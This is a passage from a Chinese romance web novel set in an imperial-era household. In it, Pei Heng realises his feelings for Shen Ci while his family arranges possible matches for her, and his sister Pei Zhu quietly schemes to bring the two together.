她心中一直隐隐约约的有一些猜测,但是不敢确定,也不敢让母亲察觉,原本这些心思是被她藏在心里的,可谁知道母亲竟然要给沈姐姐择婿,选的还是一些落魄世家。 裴姝嫌弃的不得了,就对着这些画像诸多挑剔。 谁知竟让哥哥给撞上,她烦躁的同时却又松了一口气。 兄妹俩这会儿也不知道是哪里来的默契,对着那堆画像就是一通数落,惹得永宁候夫人都有些怀疑自己。 “当真这么不好吗?” 裴姝深以为然的点头,“沈姐姐那般好,他们不配。” 永宁候夫人不知自家女儿为何会有这样的想法,但因为被儿女接二连三的反驳,她倒也淡了和儿女商量的心思,“你们俩若是有事就自个儿散去,我还是改日去找你们姑姑商议才是正经事。” 永宁候夫人都觉着自己找他二人一块看画像,是一件很令人费解的事。 兄妹俩几乎是被母亲给赶出来的,裴姝看着裴珩欲言又止,而裴珩这会子,什么话都不想说,和妹妹打过招呼后便回了住处。 裴姝也没有逗留太久,领着丫鬟回了住处。 她洗漱过后便早早的歇下,想着明日要找什么借口去忠毅伯府一趟。 至于裴珩,一整晚都是心绪不宁的,便是回到书房也没能冷静下来,他想起母亲说的那些话,心中就非常的不耐。 今日买好的首饰这会儿整整齐齐的放在面前,裴珩没有打开也能够清晰的记得里头到底是什么东西。 牡丹样式的发簪。 他还没来得及找到一个合适的借口将东西送出去,还没有看见她收到首饰时候欣喜的模样,就听闻她要议亲的事情。 这无疑像被人泼了一盆冷水,让他心中烦闷不已。 而这份厌烦,却不知是从何处冒出来的。 当真是可笑得很 ,他连自己为什么难受都还没有想明白的时候,就已经开始难受,心远远比自己的思想来的更为诚实。 裴珩坐了许久,本是想要看书,让自己冷静一些,可书还没翻开一页就被他扔的远远的,看着面前白色的纸,忍不住的拿出笔开始写她的名字。 他知道她的名字,却一直都不知道是哪一个字。 即使到如今,他们已经渐渐的熟悉,她已经将他放在了眼中,不再是个可有可无的陌生人,即便裴珩知道他在沈瓷的心目中只是表姐的表哥。 他也依旧觉得不算太糟糕。 但他对她的称呼,依旧还是沈姑娘,裴珩心中也许是不愿的,可是他却没有一个合适的机会可以改变。 或许是有机会的,只是裴珩并不愿意听到沈瓷称呼他为“表哥”。 在今日之前,裴珩并不知道自己为何会有这样奇奇怪怪的心思,可是今日,他忽然就明白了缘由。 裴珩想起了许多的事情。 想起了楚修筠和楚景澄第一次提起沈瓷的时候。 也想起了,他们邀请他一块儿去买糕点的事情。 文房四宝,脂粉钗环,楚修筠和楚景澄从未在他的面前有过什么避讳,所以,裴珩对沈瓷并不陌生。 他知道她许多的事,也知道她从来都是一个坚强的人。 如若不然,被退婚的时候她大抵就要撑不下去了。 裴珩同样没有办法忘记第一次见到沈瓷时候的模样,他对她不陌生,而她对他,却陌生极了。那是裴珩头一次感觉到挫败,他曾自以为是的认为有许多人都是认得他的。 原来,有些人根本就不认识她,即便…他是她表姐的表哥。 有着这样一层亲近的关系。 他永远都记得那日午后,她站在绚烂的阳光之中,明媚而又耀眼,就这么猝不及防的落到了他的心里,再也没有办法忘记。 有些事情想明白之后,就会变得非常的简单。 那些寤寐思服和辗转反侧,都有了很好的解释。 他会在意沈瓷的目光,也会在意她的喜好,更会在意她对自己的看法。 有一些答案是显而易见的。 只是当局者迷,他什么都看不清楚。 也许看清了,只是自己不懂。 如今懂得了,却又不知是不是太晚。 他不想,当沈瓷的表哥。 裴珩心中思绪万千,可面上却什么表情都没有,他只是一个劲的在写字,写下了她的名字,因为不知道是哪一个字,他将所有的字一一的试了过去。 沈辞,沈慈,沈词,沈瓷… 裴珩不知道哪一个是,他无比的后悔为什么当初不多问一句,那时候的自己心无旁骛,他可以确信,自己即便是问了也不会让任何人觉察出问题来。 但那时候的他,并不屑问一个姑娘的名字。 后来想要知道的时候,早已经问心有愧,那一句一句的“沈姑娘”,是疏离还是克制,其实只有裴珩自己才知道。 原来,从不是什么怜惜她孤苦。 只是因为,他喜欢上了一个人。 简简单单,仅此而已。 他喜欢她,所以才会想要看到她。 他喜欢她,所以才会想要听到关于她的只言片语。 因为他喜欢她,所以才会注意到从前没有注意到的事情。 仅此而已,简单而又纯粹。 只是裴珩成长至今,早已经不习惯简单和纯粹,这才会直到今日才想明白这些事。 许久之后,裴珩放下了手中的笔,看着自己写满的纸张和被圈出来的名字,缓缓的勾了勾唇,韩嵩并非良配,论家世样貌,论学识地位。 裴珩相信,韩嵩远远比不过自己。 他相信自己并不会输给韩嵩。 裴珩想入非非了半晌,那日夜里罕见的失眠了,他明白了自己的心意,却也迅速的冷静下来,没有冲动的失去理智。 因为他知道究竟有多少的问题需要解决,还有许多的麻烦,还没有摆平。 他虽厌烦韩嵩,但也明白母亲为何会选上韩嵩,只因为在许多人的眼中,韩嵩是沈瓷最好的选择,裴珩不屑的笑起,那算什么最好的选择? 裴珩笃定韩嵩配不上沈瓷,可他却不知道沈瓷心中是怎么想的。 好在,时间尚早,他明白了自己的心意,他还有很多的时间。 * 一宿没睡,裴珩这会儿头疼欲裂,他自幼循规蹈矩,这是头一回这般出格,他本想就这般去上朝,但他倒也没想着要硬撑。 便命长鸣去告了假,找了借口说自己染了风寒。 不然院子里亮了一夜的灯,他没法解释。 原本他院子里亮了一夜的灯并非是什么大事,可昨夜母亲才说起沈瓷的亲事,他并不记得自己昨日在母亲面前究竟有没有失态,他只想杜绝母亲一切的联想。 免得给沈瓷带去不必要的麻烦。 裴珩将所有的可能都想的明明白白,但永宁候夫人全然不知裴珩的心思,还以为他是真的染了风寒,忙命人去请大夫。 担心他太过劳累,又敲打下人好生的伺候着。 用早膳的时候瞧见裴姝,还同女儿说起这事儿来,“翰林院的差事不好当,你哥哥才去了多久,就累病了,真真是…” 永宁候夫人心疼的不得了。 倒是裴姝,觉得有些事情只怕没有那么简单,她心中隐隐有了一些猜测,只是这些猜测,她并没有告诉母亲。 裴家兄妹都不是什么蠢人,有些事情不用母亲明说就能知晓她的态度,韩嵩也许在许多人的眼中都是良配,般配沈瓷绰绰有余。 可在裴家兄妹眼中,当真不算什么。 裴姝没有急着要去弄明白兄长的心意,反而是差丫鬟去忠毅伯府送了帖子,有许多的事情,她还是要自己弄明白才可以。 忠毅伯府一直都在忙碌着楚映梦的婚事,前些日子楚映梦一直都在找寻头面,昨日总算是选好了,了却了一桩心事,但也因此遇上了沈瓷的故人。 这件事儿裴姝还不太清楚。 今日见面听楚思怡提及,心中也满是好奇,只是裴大姑娘从来都是个善解人意的人,并不会刻意的问起。 倒是沈瓷被她们几个看的很不好意思,尤其是她们几个一副不愿勾起她伤心事的模样,让沈瓷好生的歉疚。 她和秦月的往事,同伤心事根本就扯不上关系,只是她年少无知,干了不少的荒唐事。 “那姑娘名唤秦月,她爹从前是平江知府。”沈瓷有一点想捂住自己的脸,但却被自己给生生的忍住,只希望这样子就能掩耳盗铃,妄图欺骗自己她说的是正经事。 “我爹爹是节度使,自然有所往来。”沈瓷这话说的实在是有一些过于谦虚,平江节度使和平江知府,那是能够放在一起比较的吗? 因为沈毅的缘故,沈瓷在平江可以说是横着走的。 人人都讨好她,捧着她。 家中如此,外头也是如此。 自然养成了她骄纵的性子。 “我和秦月之间,曾经有一些过节,我跟她抢过首饰。”沈瓷轻声的开口,具体是什么过节,她到现在根本已经记不得了,她只依稀记得秦月有些咄咄逼人,惹得沈瓷有些烦躁。 秦月喜欢牡丹,她为了同秦月赌气,便让人将平江所有的牡丹首饰全给买了回来,平江虽比不上金陵繁华,但也不是个小地方,那么多的首饰自然也不便宜。 其实银钱还是其次,最要紧的是那么多的首饰,头上戴的,手上戴的,腰间坠着的,金银玉都有,她根本就戴不完,她娘回到家里看着满屋子的“牡丹”差点儿被气晕过去。 追问了许久,沈瓷才将自己做的荒唐事说了出来。 这首饰退是不能退的,那岂不是打了沈瓷的脸,若宣扬出去旁人指不定还以为沈毅要破产。 于是只能拿来送。 那段时间 不管是谁家送礼,节度使府上的回礼送的都是牡丹,有心者细细的打听,明白是节度使府上女眷喜欢,但节度使府上的女眷只有两人。 沈夫人出门从不会戴和牡丹有关的东西。 倒是沈姑娘身上都是,所以大家伙儿心中了然,原来是沈瓷喜欢。 故而平江的那些姑娘少妇们都有意的规避着不愿和沈瓷撞上,这才有了秦月对沈瓷的误会,误以为她是霸道。 但天可怜见的,沈瓷哪里是喜欢牡丹? 分明是因为买的太多被母亲责罚,母亲罚了她一年的月钱,还勒令她这一年都不能买别的首饰,只能戴自己买回来的那些。 沈瓷从愤怒到抗议,后面又抱着母亲撒娇,她娘都不为所动,沈瓷闹了好几日最终只能接受,认命的在那堆首饰里面挑挑拣拣,倒还是选出了不少喜欢的。 “表姐,你还会和人抢首饰呢?”楚思怡忍不住的睁大了眼睛。 沈瓷淡淡的别开眼,实在是有一些不好意思开口,她从前干过的那些事,不提也罢。 “姝儿今日怎么过来了?可是有什么事?”沈瓷有意识的开始岔开话题,这话题转变的非常生硬,半点都不委婉,其余三人明白沈瓷的态度一个个都忍不住笑了起来。 其实裴姝今日是过来试探的,但她却没有找到合适的机会,如今台阶都已经递过来,若是不往上头踩岂不可惜? “哥哥昨日染了风寒,瞧着还挺严重的,今日卧床不起晨起告了假都没有去上朝。”裴姝有些苦恼道。 “什么?表哥病了?” “可还好,有没有请大夫上门瞧一瞧?” 姐妹俩同时开口,唯有沈瓷一言不发,但眼中也有担忧之色。 裴姝松了一口气,好歹沈姐姐心里头还是担心哥哥的,表姐放心,已经请大夫瞧过,大夫说是忧思过重没有大碍,想来是在翰林院当职太过辛苦,可哥哥说这是他的职责,算不上辛苦的。” “表哥对自己的要求一向都是很高的,但也要注意身体。” “谁说不是呢,我也是这么一直劝着哥哥,但哥哥就是不听。”裴姝状若苦恼的开口,单手托着下巴无奈道,“母亲一直都说要给哥哥寻一门亲事,好让他们互相照顾,谁知哥哥一直都推托,先前还说什么要先立业再成家…” “姑姑要给表哥议亲了吗?”楚思怡睁大了眼睛问道,“我们那未来嫂嫂是谁?长得如何?性子可好相与?” 楚思怡的问题一个接着一个,就连楚映梦也是一脸的好奇。 沈瓷…瓷依旧是最平静的那个。 除了先前听到裴珩染了风寒有些关心之外,她对裴珩要不要议亲根本就毫不关心。 裴姝:“……” 这可怎么是好? 她直觉这话题不能在这么继续下去,免得越描越黑,但越说越兴奋的姐妹俩根本就没有停下来的意思。 “先立业在成家,但表哥如今已经是状元,应当也算是立业了?”楚思怡开口询问。 楚映梦煞有介事的点头。 姐妹俩就开始思索着舅母到底会给表哥选什么样的姑娘,眼看这话题越来越离谱,裴姝急急忙忙的喊停。 “这八字还没一撇的事情,可不好胡乱猜测的,免得坏了人家姑娘的清誉。” 裴姝认真的开口。 楚思怡和楚映梦连连点头,“的确如此,不能胡乱的说道。” 经此一役,裴姝也明白此时此刻不能循循善诱,谁知表姐和思怡会将话题歪到哪里去?倒不如她主动出击,“其实这一次过来,是因为有些事要麻烦姐妹们的…” 裴姝的脸微微的有些红,她从小到大头一次扯谎骗人,这会儿心虚的不行,声音自然也很低很低,“从前我生病,哥哥都会给我带双月楼的糕点,我想着也为哥哥去买一些,只是我一个人有一些不敢出门。” 楚映梦还以为是什么大事,自然是答应的。 “你等我们换一身衣服,一块儿去双月楼看看。”楚映梦二话不说的应下,楚思怡早就在听到这话的时候就兴高采烈的回去换衣裳。 就是沈瓷很不想出门。 倒不是因为和裴珩不熟悉才不愿一块儿去,若是金陵没有秦月在,她自然是欣然前往,但这会儿秦月在,若是再撞上… 就在沈瓷想着要找什么借口留在家中的时候,就见裴姝眨巴着眼睛看着她,“沈姐姐,你怎么不去换衣服?” 面对着裴姝那亮晶晶的眼眸,沈瓷拒绝的话怎么都说不出口,只能点头应下。 “我这就回去换衣裳。” 因为楚映梦要绣嫁衣,这些日子以来她们时常待在楚映梦这儿,裴姝今日过来也是在这里和她们相见。三人各自回到住处换衣裳,裴姝则是留在留在楚映梦的屋子里坐着,因为和表姐最近,她倒是能够问更多的话。 裴姝难得有和表姐单独相处的机会,便半点都不迂回,直截了当的问了出来,“表姐可知道沈姐姐喜欢什么样的男子?” 楚映梦摇头,说不清楚。 “阿瓷很少说起这些。”楚映梦开口回答,上一回端阳节在裴家的别院,沈瓷虽然说过心仪的男子要比自家爹爹厉害。 但以楚映梦对沈瓷的了解,这话十有八九是个幌子,压根就是搪塞人的。 “好端端的,你怎么忽然问起这些来了?”楚映梦满脸的疑惑,只觉得事情有点儿不对,“是出什么事了吗?” 裴姝就知道有些事儿偷偷摸摸的是不成的,思怡大大咧咧的倒是不会多想,可表姐哪有那么好糊弄的? 好在裴姝原本也没打算糊弄。 “其实是我娘让我问的。”裴姝有些无奈的开口,心扑通扑通的直跳,果然说了一个谎话,就要用无数个谎话来圆。 但有些事情一回生二回熟的,她也没什么不适应的。 “娘亲让我问问沈姐姐喜欢什么样的男子,这样才好给她择婿。” 裴姝半真半假的开口,说姑姑托了她母亲帮忙相看人家,母亲拿不定主意,这才让她来探一探口风。 这些话都是真的,即便表姐说到姑姑的面前去,也是真的。 裴姝半点都不慌。 “就是这话我不好当着沈姐姐的面说起,这才来问了表姐。” 她其实也就是想知道,沈姐姐会不会喜欢她哥哥那样的。 “原来是这么一回事。”楚映梦听罢缘由根本没怀疑什么,自从成安伯府来退亲之后,阿瓷的婚事,就一直是祖母和母亲心里的一根刺。 就连她那个忙碌非常的爹,也还记得这事儿。 但阿瓷喜欢什么样的男子,她们还真的不怎么清楚,“你别看阿瓷成日里和我们待在一块儿,但其实阿瓷心里在想些什么,很少有人知道。” “思怡闹腾,但关于思怡的事情,我们大多都知道,可阿瓷不一样,她极少说自己的事情…”楚映梦也很头疼。 两人想到这里就开始唉声叹气起来。 不多时楚思怡过来了,楚映梦便没再说话,倒不是信不过妹妹,只是思怡大大咧咧的,一会儿想不明白直接去问了沈瓷。 那到时候指不定会有多尴尬。 姐妹俩有了默契,约定要慢慢的试探,多多的观察。 裴姝心里存了事,她其实很着急,但尚且还有理智在,知道这些事情是不能着急的。 几人高高兴兴的一同去了双月楼。 作为金陵最有名的点心铺子,双月楼不管什么时候来都是人满为患,打发了小厮去排队之后,几人便去了绣坊。 临出门前沈瓷检查了自己的绣篮,发现许多丝线已经不多,便想着要出来买一些。 楚映梦也有这个打算。 实则府上会有专人来采买,只不过这采买一月一回委实麻烦,倒不如她们自己出来买,更能够选到合适的。 其实她们几个人里头,唯有沈瓷对这些感兴趣,楚映梦如今能耐下性子挑选,纯粹是因为要绣嫁衣。 沈瓷心情甚好的挑选着绣线,但她没有想到有些时候当真是怕什么来什么,在绣坊她又遇 上了秦月。 两人面面相觑,目不转睛的看着对方。 秦月睁大了眼睛,不敢相信的看着沈瓷,“你,来这里做什么?” 沈瓷只觉得秦月问的话有一些多余,这里是绣坊,她来这里当然是为了买绣线不然还能做什么,沈瓷扬了扬手中的丝线,表明了自己的来意。 秦月其实有所猜测,但当事实摆在面前的时候,她还是觉得难以置信。 她望着面前这个温柔娴雅的姑娘,实在是很难将她和从前那个嚣张跋扈的沈瓷当做一个人。 秦月的眼神实在是容易让人误会,沈瓷不愿被人当做猴子一样的围观,有些无奈的开口,“秦姑娘,你还有什么事吗?” “若是无事,我和表姐还有妹妹们就先行一步。” 沈瓷礼数周全的告辞,但这些说辞却刺激到了秦月,她盯着沈瓷的眼神愈发的灼热起来,惹得沈瓷莫名其妙。 就在沈瓷忍不住要追问的时候,秦月终于说了话,“沈瓷,你老实的告诉我。” “嗯?” “你来金陵之后,是不是被什么东西夺舍了?”秦月目光炯炯。 沈瓷:“……” 她这会儿无比的后悔当年惹上了秦月,若早知如此,她一定不会和秦月抢什么首饰的。 不仅当初戴了一年的牡丹,时隔多年还要被迫一遍一遍的回忆,真真是无比痛苦。 眼看气氛渐渐的变得僵持,楚映梦在关键时刻开了口,给了她们俩一个台阶下,沈瓷对着秦月寒暄了几句,秦月也硬着头皮应和了几句。 而后就分道扬镳,恨不得从未见过对方。 几人回到马车上之后,又一脸深思的看着沈瓷。 沈瓷:“……” 果真今日是不适合出门的。 * 双月楼的糕点,最后还是送到了裴珩的手中,即便它只是裴姝的一个借口,但做戏总是要做全套的。 “我瞧着哥哥也喜欢双月楼的糕点,今日便约上表姐和沈姐姐一道出门去买了些回来。”裴姝将糕点放到了裴珩的桌上,里头的糕点琳琅满目,都是双月楼的招牌,但裴姝今日还特意放上了沈瓷喜欢的云片糕。 沈瓷喜欢云片糕并不是什么秘密,许多人知道,她的哥哥也知道。 裴姝目光不受控制的瞥了过来,而她的哥哥,也不出所料的捏起了云片糕。 “你今日去了忠毅伯府?”裴珩状若不经意的问道。 裴姝盯着那云片糕看了好一会儿,才开口回应,“嗯,哥哥染了风寒,我有一些担心。” “如今见哥哥大好,我和母亲也能够放心些。”裴姝笑盈盈的开口,目光纯粹清澈,倒是让裴珩有一些歉疚。 “我没有什么大碍,不必担心。” “翰林院的公务其实并不忙碌,只是母亲太过于担心。” “但母亲说的也不错,哥哥还是要多多的顾及自己。”裴姝忍不住的规劝了几句,点到即止也不会惹人反感。 裴珩配合的应下。 兄妹俩岁数相差不少,可裴姝早慧,裴珩也疼爱这个妹妹,二人倒也时常这么一处说话,并不会尴尬。 裴姝看了眼兄长,欢欢喜喜的和哥哥提及今日出门遇上的事情,“我们今日去绣坊的时候,遇上了沈姐姐在平江的熟人,那姑娘可爱极了,一直盯着沈姐姐看,还问她是不是来了金陵之后被什么人给夺舍了。” “…为何,会有这么一说?” 裴珩问起这些的时候多少是有一些尴尬的。 按理,他只需要好好的听着就好,就如同从前听楚修筠和楚景澄说话那般,兄弟俩和沈瓷男女有别,能知道的事情也是有限。 并不会和裴姝一样,能知道这些细枝末节。 但也正因为如此,他的追问显得特别的不合适。 裴珩没有问是谁,因为他已经猜测到那人是谁。 他也知道这时候追问不是一件很礼貌的事情,但裴珩早已经不想当一个正人君子,颇有一股破罐子破摔的味道,若非担心坏了沈瓷的名誉,他估摸着都懒得装。 “我和表姐原本也很好奇,回去的路上大家问起沈姐姐才说起她们之间的纠葛,原是沈姐姐和那位姑娘曾经有过过节,我们原先还以为是什么过节,细问之下才知道,是因为首饰。”裴姝说话很有技巧。 她这会子努力的告诉自己忽略哥哥和沈姐姐没有血缘关系这件事,就当是她在和哥哥分享关于表姐的一些事。 大家都是兄弟姐妹的,坐在一块儿说一说彼此的事情,不是再正常不过吗? 兄妹俩就这样稀里糊涂的达成了共识。 裴珩并不愿表现出自己很感兴趣的样子,而裴姝也不好多说。 她只是觉察到哥哥的喜欢,想要让哥哥得偿所愿,却又告诉自己不能因为对方是自己的哥哥,就有什么过分的行为。 她说的话,从来都点到即止。 未来如何,不是她可以左右的。 * 永宁侯府暗潮汹涌,沈瓷一概不知。 她的日子还是平平淡淡的过,每日给舅母请安过后,不是去陪着外祖母,就是陪着表姐绣嫁衣,在陪同的日子里,她又绣好了不少的小玩意,香囊荷包应有尽有。 如今莫说是楚映梦和楚思怡,就连楚家兄弟的荷包也是常换常新。 这事儿不知怎么被裴珩发现了,他盯着二人的荷包看了许久,又忍不住的给他们布置了一堆的课业,惹得兄弟二人莫名其妙,见天的想知道在朝堂之上到底谁给了他们表哥气受。 可也是拜这件事所赐,兄弟二人的课业那叫一个突飞猛进。 裴珩这飞醋来的莫名其妙,他其实心中也清楚,楚家兄弟看待沈瓷就如同他看待楚映梦一样,这荷包的原委他也已经弄明白,纯粹是陪着楚映梦绣嫁衣无聊时所做。 若非嫁衣需要亲手绣,估摸着她都要帮楚映梦将嫁衣赶制出来。 但就算知晓来龙去脉,裴珩也不想放过兄弟二人。 裴珩心中早已经积怨已久,长寿面没有他的份,香囊没有他的份,如今就连练手的荷包,也没有他的份。 他如何能够心平气和? 第28章 第28章七夕,是一个极好的日子。…… 沈瓷就这么眼睁睁的看着表哥们越来越忙碌,时常回到府上便待在书房埋头苦读,她看的一愣一愣的,“科举不是还要三年?” “他们可不是因为科举才这么忙碌的。”楚映梦笑着开口,沈瓷不明所以,问及原因时倒没有人隐瞒她。 “表哥最近不知怎么了,见天的给哥哥们布置课业,似乎是嫌他们太笨。”楚思怡说起这话的时候表情尤其夸张,“表哥也不想想,若是同他比起来,能有几个人是聪明的?” “就是如此。”楚映梦就算再怎么向着自家表哥,这个时候也不能昧着良心,“哥哥们的学问其实是不差的,但,他们一向和表哥待在一处,所以就…” 楚映梦说的都是实话,再公允不过,但这公道话其实也没几个人听得进去。 就连楚修筠和楚景澄都默认自己应该要用功努力,旁人还能说什么? 这会儿姐妹俩也只能给裴珩找借口,“表哥也是担心大哥和二哥,毕竟科举三年一次,能参加春闱的,又有哪一个不是百里挑一的呢?” 但谁又能知晓,裴珩分明就是看那几个荷包不顺眼,十天半月就要换上一个新的,生怕旁人看不到一般,年纪轻轻就这般奢侈,如何可以? 裴珩完全不觉得自己的行为有什么不对,他这些日子除了每日上朝处理公务,最头疼的事情便是在思索要怎么让母亲打消念头。 裴珩了解母亲,既是觉得韩嵩不错,自然是会去和姑姑商议此事,但裴珩却没有立场去阻止,他明白了自己的心意,却不知沈瓷心意。 他苦于没有机会告诉沈瓷。 那被他一时冲动买回来的首饰还在书桌边上整整齐齐的放着,变成了自己心中的一根刺,他迫切的想要将首饰送出去。 同样没有机会。 接二连三的挫败让裴珩厌烦不已,他竟鬼使神差的命人拿来了黄历,开始翻看起来。 长 鸣尽职尽责的陪在一旁,看着世子一会儿皱眉,一会儿冷笑的,实在是一种煎熬,只能开口提醒。 “世子,再过不久便是七夕,楚二姑娘定了亲,大姑娘和楚三姑娘也一定会出门的。”长鸣这话说的不算隐晦,就差明示到那一天沈瓷也会去。 “七夕?”裴珩在脑海中思索着这一日,半晌才点了点头,七夕是什么日子,裴珩自然明白,先前在书院时楚修筠和楚景澄也曾邀他一块儿七夕出游,全部被裴珩以不喜为由拒绝。 如今临近七夕,他却开始忐忑起来。 也不知楚修筠二人今岁还会不会过来询问。 裴珩翻看黄历的手顿了顿,他暗暗的数了数,发现还有十几日。 怎么就还有十几日? 裴珩的手指落在黄历上头摩挲。 不知是不是错觉,长鸣总觉得自家主子很想将那几页黄历撕了,好似这样就能够立刻到七夕。 长鸣随即将这奇奇怪怪的想法赶出脑海,暗道自己想的太多了些。 眼看着世子将黄历扔到了一边去,他总算是松了一口气。 裴珩这些日子以来总是会冒出奇奇怪怪的念头,好在他并不是个被动的人,早早的想好了对策,若是表弟出不来,他也得想个法子出门。 * 裴世子心情甚好的想出了对策,就连看着眼前的公文都没有那么厌烦。 裴姝则每天都在母亲的跟前晃悠,以期母亲可以忘记给沈瓷找寻夫婿的事情,但有些事该来的还是会来。 永宁候夫人一直都惦记着小姑子托自己问的事情,眼看有了些眉目,便在闲暇的时候带着裴姝去忠毅伯府做客。 裴姝心中暗道不好,但面上却不能显露分毫,只能跟着母亲前往,并且一反常态的没有去找沈瓷和表姐她们说话,一直跟在母亲和姑姑的身边。 裴姝这一反常态的举动,惹得裴氏有些疑惑,“姝儿今日怎么不去找映梦和阿瓷她们?” 裴姝坐在一旁不知道该怎么解释,倒是永宁候夫人知晓女儿的反常,浅浅的笑起,“你前些日子不是托我给沈家丫头选一选夫婿?我倒是找到几个不错的人选,在家中问他们兄妹二人的意见,谁知他们俩都觉得不成。” “哦?”裴氏有些疑惑,“嫂嫂眼光自然极好,怎么姝儿和珩儿都看不上眼?” “谁说不是呢,这丫头啊,只觉得谁都比不上她的哥哥。”永宁候夫人笑着说道,命丫鬟将自己选好的画像取了出来。 足足有七八张画像,无一不是裴氏精挑细选的。 虽说那张公子和王公子也不差,但裴氏最看好的还是韩嵩。 特意将他的画像抽了出来。 “这是韩嵩,论年纪要比珩儿大两岁,祖上也是出过二品大官的,只是后头被贬了官,原本今岁也是要去去参加科举的,但他父亲过世要守孝,他还在孝期当中,这才耽误了。”永宁候夫人早早的将这些事情打听的清清楚楚。 说起韩嵩来也是一脸的可惜,“是个好孩子,只是运气不大好。” 祖上的事情连累了他,好不容易可以靠着科举出人头地,但父亲又亡故,如今家中只有孤儿寡母,日子过得也甚是艰难。 “先前珩儿和姝儿都觉得不太好,我又命人细细的去查探,才知他当真不错。” 永宁候夫人不是什么不负责任的人,既然答应了小姑子会好好物色人选,自然不会敷衍了事,她看了韩嵩历年来的所有课业,发现他勤学好问,不比裴珩差多少。 只是裴珩太过耀眼,这才被比了下去。 若非家中除了变故,这一回也是可能榜上有名的。 裴姝自从母亲提及韩嵩就一直竖着耳朵听,这会儿才知道母亲前些日子没有来找姑姑是因为要去打听情况,打听完了才胸有成竹的出现? 这怎么和她预想的完全不一样? 没有放弃,反而认真起来了? “听嫂嫂这般说,这韩嵩倒是不错。”裴氏听到这儿自然也是心动的,“这韩公子家中可有婚配?有没有什么青梅竹马的爱人?” 也不怪裴氏会这么想,实在是不得不多想。 她们家中几个是例外,寻常人家的男子,到了这个年级的有些个都已经当爹了。 她有心要给沈瓷找夫婿,但也不能找一个心中有别人的。 忠毅伯府虽算不上多好的门第,但比之韩家那自然是极好,沈瓷养在她们府上将来也要从她们府上出嫁,这韩嵩可别有什么青梅竹马的心上人搁在心里。 “这倒是没有打听过,毕竟我还要来问一问你的意思,若是不满意也不必再细问什么,这天底下就没有不透风的墙,要是贸贸然打听走漏风声,也不好。”永宁候夫人思虑周全。 她们其实都清楚,在这样的身份地位下,做什么都有人盯着。 “我瞧着倒是挺好的,只是我舍不得阿瓷委屈。”裴氏看着那画像,想着嫂嫂说的那些话,也明白韩嵩家中的情况。 沈瓷虽然没了爹娘,但也是她看着长大的,只要她和楚恒在一天,就会永远是她的后盾。 “既想着人家有攀龙附凤的心思,却又担心他们有这样的心思。”裴氏揉了揉额头,心中难受不已。 “这事儿倒也不着急,可以从长计议,最要紧的是知道丫头心里是怎么想的,我们觉得合适,倘若孩子一点儿意思都没有,岂不是我们的过错?”永宁候夫人算得上是个开明的母亲。 裴氏也同样如此。 姑嫂二人在合计沈瓷会不会喜欢,想着要不要找个机会亲自问问,一直安静待在一旁的裴姝冷不丁的开了口,“沈姐姐说,她喜欢的人,要比沈叔叔更厉害才行。” 裴姝回答的十分笃定。 即便已经从表姐的口中得知这是沈瓷随口胡诌的,她也只当自己什么都不知道,硬着头皮将这事儿说了出来。 “当真?” “阿瓷说的?” 裴姝用力的点点头,“端午节的时候在别院,我们在谈论未来的表姐夫,便问起了这件事,是沈姐姐亲口说的。” “比沈毅更厉害的?”裴氏陷入了沉思当中。 和嫂子面面相觑,纷纷的从对方眼中读出了一些想法。 沈毅是个武将,难不成他们给孩子选夫婿要从武将里头去选吗? 这已经选了一个了,难不成还要选第二个? 要真是如此,这武官里头也不知道有没有合适的。 姑嫂俩开始合计起来,裴姝也找了个借口溜出去,该知道的消息也已经知晓,她如今最想做的事情就是要找几个盟友。 只是这盟友实在是难以寻觅。 毕竟裴姝又不能将哥哥的心意大肆宣扬。 真真是难办的很。 裴姝过来的时候,沈瓷正在和楚映梦一起比着绣线的颜色,姐妹俩眼睛都快要看晕,总算是将绣线找了出来,至于楚思怡根本不在此处。 “思怡去哪里了?”裴姝疑惑的问道。 “去给贺修文回信了,说是一会儿过来。”楚映梦见怪不怪,沈瓷见得多了,也没什么反应。 “贺修文去游学,要什么时候回来?”裴姝随口问了一句。 “还不太清楚,思怡及笄的时候,他应该会回来的吧。”楚映梦轻声回应他们虽然和贺修文认识,但到底不太熟悉。 一开始贺修文去游学时,他们还有一些不舍,但时间一久都已经淡了,只有思怡和他还有联系。 “思怡喜欢那贺修文吗?”裴姝忍不住的问道。 这当真不怪她,平时也不会关注这些,谁让这些日子她遇到的都是这样的事情? “应当是喜欢的。”楚映梦虽然经常和楚思怡吵架,可到底是亲姐妹,该知道的事情一样不会少。 只是楚思怡年纪尚小,他们也没有 特意的去提及这件事,一切还是顺其自然的好。 毕竟那贺修文已经许多年不见,谁知如今是什么模样? “今天舅母来府上可是有什么事?你方才怎么没过来?”楚映梦见着裴姝之后就是一连串的追问,裴姝揉了揉自己的额头。 她看了一眼表姐,又看了一眼沈瓷。 开始随口胡诌。 说母亲有要事找姑姑商议,和哥哥有关,她才留下听了听。 裴姝这些日子以来过的那叫一个备受煎熬,真真是见人说人话,见鬼说鬼话,她都担心自己在这么胡扯下去,迟早有一日要穿帮。 “表哥?难道舅母要给表哥议亲,已经选定了人选,所以来找我娘说话了?”楚映梦越想越觉得有可能,忙拉着裴姝开始追问。 裴姝恶从胆边生,硬要拉着沈瓷一块儿听。 “其实就是老生常谈,母亲一早就想为哥哥议亲,但是哥哥根本就不愿意。”裴姝面无表情的将母亲在家中说的那些话换了个时间和地点说了出来。 将这件事情糊弄过去。 楚映梦煞有介事的点头,倒是沈瓷,真真是一点反应都没有。 听裴姝说起人选的时候,还默默的点头夸赞,“姚家的姑娘一直都贤名在外。” 裴姝揉了揉额头,只觉得这事儿有点难评。 “但是哥哥好像不太喜欢。” 裴姝苦恼的说道,“哥哥自小就很有主意,母亲也勉强不得他,所以才会来找姑姑商议。” 裴姝点到即止,许多话都不能说的太明白,若是楚思怡在这里,兴许还会问几句裴珩喜欢什么样的姑娘,但楚映梦和沈瓷,一个想不到,一个根本就不会问,裴姝早就已经歇了心思,认命的谈论起别的来。 “七夕的时候金陵城还有灯会,表姐,沈姐姐,我们一起去看看好不好?” 她们一同出游早就已经是约定成俗的事情,沈瓷自然是答应的,但楚映梦却摆了摆手,“我就不跟你们一起去玩了。” 七夕那日,是她和未婚夫为数不多可以单独相处的日子。 楚映梦并不愿浪费,早早的和未婚夫说好要一起去看花灯。 沈瓷和裴姝也晓得这事儿,便轻轻的点了头。 半点没有开表姐玩笑的意思,只是问表姐什么时候出门,要去什么地方。 沈瓷不会跟着去添乱,但她还是担心表姐,“那日人那么多,当真不会有危险吗?” “傻丫头,就在金陵城。”楚映梦心中有数,两个妹妹这才放了心,惹得楚映梦心中软的一塌糊涂。 而裴姝,已经开始思索着那日要怎么让哥哥和沈姐姐见面。 